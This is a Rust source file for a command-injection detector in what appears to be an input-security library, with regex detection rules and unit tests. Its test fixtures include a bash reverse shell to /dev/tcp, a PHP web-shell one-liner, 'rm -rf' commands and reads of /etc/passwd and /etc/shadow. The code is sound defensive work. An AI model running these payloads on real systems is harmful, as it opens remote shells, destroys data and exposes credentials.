1use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7static STRONG_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
15 Regex::new(concat!(
16 r"/dev/tcp[/\w]*",
18 r"|(?i:passthru\s*\()",
20 r"|(?i:shell_exec\s*\()",
21 r#"|(?i:system\s*\(\s*["'$])"#,
24 r"|(?i:popen\s*\()",
25 r"|(?i:pcntl_exec\s*\()",
26 r"|(?i:powershell(?:\.exe)?\s+-\w)",
28 r"|(?i:cmd\.exe\s+/[ck]\b)",
30 ))
36 .unwrap()
37});
38
39static WEAK_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
48 Regex::new(concat!(
49 r"\$\([^)]+\)",
50 r"|\|[\s]*\w+",
51 r"|\|\|[\s]*\w+",
52 r"|&&\s*\w+",
53 r"|`[^`]+`",
56 r"|(?i:exec\s*\()",
59 r"|>/dev/null",
61 r"|(?i:\b(?:cat|type|more|less|head|tail|strings|xxd|od)\s+/etc/(?:passwd|shadow)\b)",
64 r"|(?i:cmd\.exe)",
67 r"|(?i:powershell)",
68 ))
69 .unwrap()
70});
71
72pub struct CommandInjectionDetector;
73
74impl Detector for CommandInjectionDetector {
75 fn name(&self) -> &'static str {
76 "command_injection"
77 }
78
79 fn detect(&self, input: &str) -> Option<DetectionResult> {
80 regex_detect(
81 std::slice::from_ref(&*STRONG_PATTERNS),
82 self.name(),
83 AttackCategory::Injection,
84 Severity::Critical,
85 "Command injection detected",
86 input,
87 )
88 .or_else(|| {
89 regex_detect(
90 std::slice::from_ref(&*WEAK_PATTERNS),
91 self.name(),
92 AttackCategory::Injection,
93 Severity::Low,
94 "Shell operator present (weak signal)",
95 input,
96 )
97 })
98 }
99}
100
101#[cfg(test)]
102mod tests {
103 use super::*;
104
105 fn det() -> CommandInjectionDetector {
106 CommandInjectionDetector
107 }
108
109 fn assert_hit(input: &str) {
110 assert_hit_at(input, Severity::Critical);
111 }
112
113 fn assert_hit_at(input: &str, severity: Severity) {
114 crate::test_helpers::assert_detected(&det(), input, AttackCategory::Injection, severity);
115 }
116
117 #[test]
118 fn name_is_command_injection() {
119 assert_eq!(det().name(), "command_injection");
120 }
121
122 #[test]
123 fn detects_common_payloads() {
124 for (input, severity) in [
125 ("bash -i >& /dev/tcp/10.0.0.1/4444", Severity::Critical),
127 ("php -r 'system($_GET[\"cmd\"]);'", Severity::Critical),
128 ("cmd.exe /c dir", Severity::Critical),
129 ("powershell -Command Get-Process", Severity::Critical),
130 ("powershell.exe -EncodedCommand SQBuAHYAbwBrAGUAKAAp", Severity::Critical),
131 ("system(\"id\")", Severity::Critical),
132 ("$(rm -rf /)", Severity::Low),
134 ("ls | grep passwd", Severity::Low),
135 ("cd /tmp && rm -rf *", Severity::Low),
136 ("`cat /etc/passwd`", Severity::Low),
140 ("`systemctl restart app`", Severity::Low),
141 ("exec(\"id\")", Severity::Low),
142 ("deploy.sh >/dev/null", Severity::Low),
143 ("cat /etc/passwd", Severity::Low),
146 ("type /etc/shadow", Severity::Low),
147 ("cmd.exe", Severity::Low),
148 ("powershell", Severity::Low),
149 ] {
150 assert_hit_at(input, severity);
151 }
152 }
153
154 #[test]
157 fn shell_shaped_text_is_low_not_critical() {
158 for input in [
159 "| Name | Age | City |\n|------|-----|------|\n| Ada | 36 | London |",
160 "if (a && b) { return c; }",
161 "$(document).ready(function() { init(); });",
162 "https://shop.example/search?a=1&&b=2",
163 r#"const total = price * qty && discount > 0;"#,
164 ] {
165 assert_hit_at(input, Severity::Low);
166 }
167 }
168
169 #[test]
172 fn tool_names_and_parens_in_prose_are_clean() {
173 for input in [
174 "The system (as opposed to the client) handles authentication.",
175 "Our system (v2) is faster than the previous release.",
176 "See the runbook (internal) for the rollback procedure.",
177 "Log output can be discarded by redirecting to /dev/null.",
178 "The /etc/passwd file holds user account records.",
179 "On Linux, /etc/shadow stores password hashes.",
180 "Never commit /etc/passwd to your repository.",
181 ] {
182 crate::test_helpers::assert_clean(&det(), input);
183 }
184 }
185
186 #[test]
188 fn docs_mentioning_tool_names_are_low_not_critical() {
189 for input in [
190 "Install PowerShell 7 from the Microsoft Store, then run the installer.",
191 "Legacy deployments used cmd.exe scripts; those are deprecated.",
192 ] {
193 assert_hit_at(input, Severity::Low);
194 }
195 }
196
197 #[test]
198 fn benign_inputs_not_detected() {
199 for input in [
200 "Hello, this is a normal text input. Nothing suspicious here.",
201 "The system is running normally",
202 "I executed the plan successfully",
203 "Pipes are used to join commands in unix",
204 "Please run the update script",
205 ] {
206 assert!(det().detect(input).is_none(), "false positive: {input}");
207 }
208 }
209
210 #[test]
214 fn real_world_inputs_not_detected() {
215 for input in [
216 r#"<!DOCTYPE html>
218<html lang="en"><head><title>Docs</title></head>
219<body><h1>Welcome</h1><p>Read the <a href="/about">about page</a>.</p>
220<img src="/logo.png" alt="logo" width="120">
221</body></html>"#,
222 r##"<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24">
224 <path d="M12 2 2 22h20z" fill="none" stroke="#333" stroke-width="2"/>
225 <circle cx="12" cy="12" r="4" fill="#09f"/>
226</svg>"##,
227 "body { margin: 0; font-family: system-ui, sans-serif; }\n.card { display: flex; gap: 8px; color: #334155; }",
229 "https://shop.example/search?q=shoes&size=42",
231 ] {
232 crate::test_helpers::assert_clean(&det(), input);
233 }
234 }
235
236 #[test]
237 fn edge_cases() {
238 assert!(det().detect("").is_none());
239 assert!(det().detect(" \t\n ").is_none());
240 assert!(det().detect("你好世界 こんにちは").is_none());
241 assert!(det().detect("system id").is_none());
243 assert!(det().detect("rm -rf /").is_none());
244 assert!(det().detect("cmd /c dir").is_none());
245 assert!(det().detect("shell_exec without parens").is_none());
246 }
249
250 #[test]
251 fn obfuscated_variants_detected() {
252 for input in [
253 "SYSTEM('id')",
254 "Shell_Exec('id')",
255 "PowerShell -Command Get-Process",
256 "PASSTHRU('id')",
257 ] {
258 assert_hit(input);
259 }
260 }
261}